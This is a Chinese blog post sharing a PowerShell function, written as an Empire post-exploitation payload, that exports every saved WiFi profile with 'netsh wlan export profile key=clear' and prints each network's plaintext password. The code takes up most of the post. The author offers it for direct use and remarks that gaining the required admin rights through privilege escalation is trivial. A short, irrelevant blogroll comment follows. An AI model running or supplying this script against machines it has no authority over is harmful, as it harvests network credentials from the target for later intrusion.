当前位置: 首页 > 代码艺术, 安全工具, 网络安全 > 正文

获取WiFi密码的powershell脚本

分享一个一键获取电脑上所有WiFi密码的powershell。源码如下:

function Get-WifiPasswd
{

<#
.SYNOPSIS
Empire Payload to get the target's all wifi passwd 

.DESCRIPTION
This payload uses the Get our target's all wifi password.
but you need a administrator privilege.

.EXAMPLE
PS > Get-WifiPasswd

.LINK
https://www.s0nnet.com/

#>

	[CmdletBinding()]
    Param ()

	$temp = $env:temp
	$SaveDir = "wifi_conf"
	$tempPath = $temp + '\' + $SaveDir
	if((Test-Path $tempPath) -eq 1)
	{
		$t = Remove-Item $tempPath -recurse
	}
	$t = New-Item -Path $temp -name $SaveDir -Type Directory
	$t = netsh wlan export profile key=clear folder=$tempPath
	$fileList = Get-ChildItem $tempPath *.xml | %{$_.FullName}
	Foreach($file in $fileList)
	{
		$tmpContent = [xml](Get-Content $file)
		$Name = $tmpContent.WLANProfile.SSIDConfig.SSID.name
		$Hex= $tmpContent.WLANProfile.SSIDConfig.SSID.hex
		$Auth = $tmpContent.WLANProfile.MSM.security.authEncryption.authentication
		$Enc = $tmpContent.WLANProfile.MSM.security.authEncryption.encryption
		$Prot = $tmpContent.WLANProfile.MSM.security.sharedKey.protected
		$Pswd = $tmpContent.WLANProfile.MSM.security.sharedKey.keyMaterial
		'WiFi: ' + $Name +'('+ $Hex + ')'+' Key: '+ $Pswd +'  '+$Auth +'/'+ $Enc
	}
	if((Test-Path $tempPath) -eq 1)
	{
		$t = Remove-Item $tempPath -recurse
	}
}

该脚本是我写Empire插件时写的脚本,也是自己写的第一个powershell脚本,码术太陋,重在分享,大家拿着用就行^_^

也可以直接执行,获取WiFi密码的效果如下:

get_wifi_passwd

需要注意的是,由于获取WiFi密码是需要管理员权限的,不然上面的密码那块会显示sha加密的密文密码,这基本就没法破解了。还在Windows提权那是小菜一碟,在Empire下也是相当简单,这个脚本也是可以直接执行的。上图中的wifi名后面括号中的是16进制显示的字符串,防止中文的wifi名出现乱码。

其基本原理就是,使用netsh读取无线的所有配置文件。基于netsh还可以做很多信息采集,以后有时间再继续分享!

 

 



这篇博文由 s0nnet 于2016年08月29日发表在 代码艺术, 安全工具, 网络安全 分类下, 通告目前不可用,你可以至底部留下评论。
如无特别说明,计算机技术分享发表的文章均为原创,欢迎大家转载,转载请注明: 获取WiFi密码的powershell脚本 | 计算机技术分享
关键字: ,

获取WiFi密码的powershell脚本:目前有1 条留言

  1. 0楼
    文恩:

    hello, 我是从友链飞过来的 你也可以点击 http://wenen.site 回到我来的地方

    2016-11-16 上午8:47 [回复]

发表评论

快捷键:Ctrl+Enter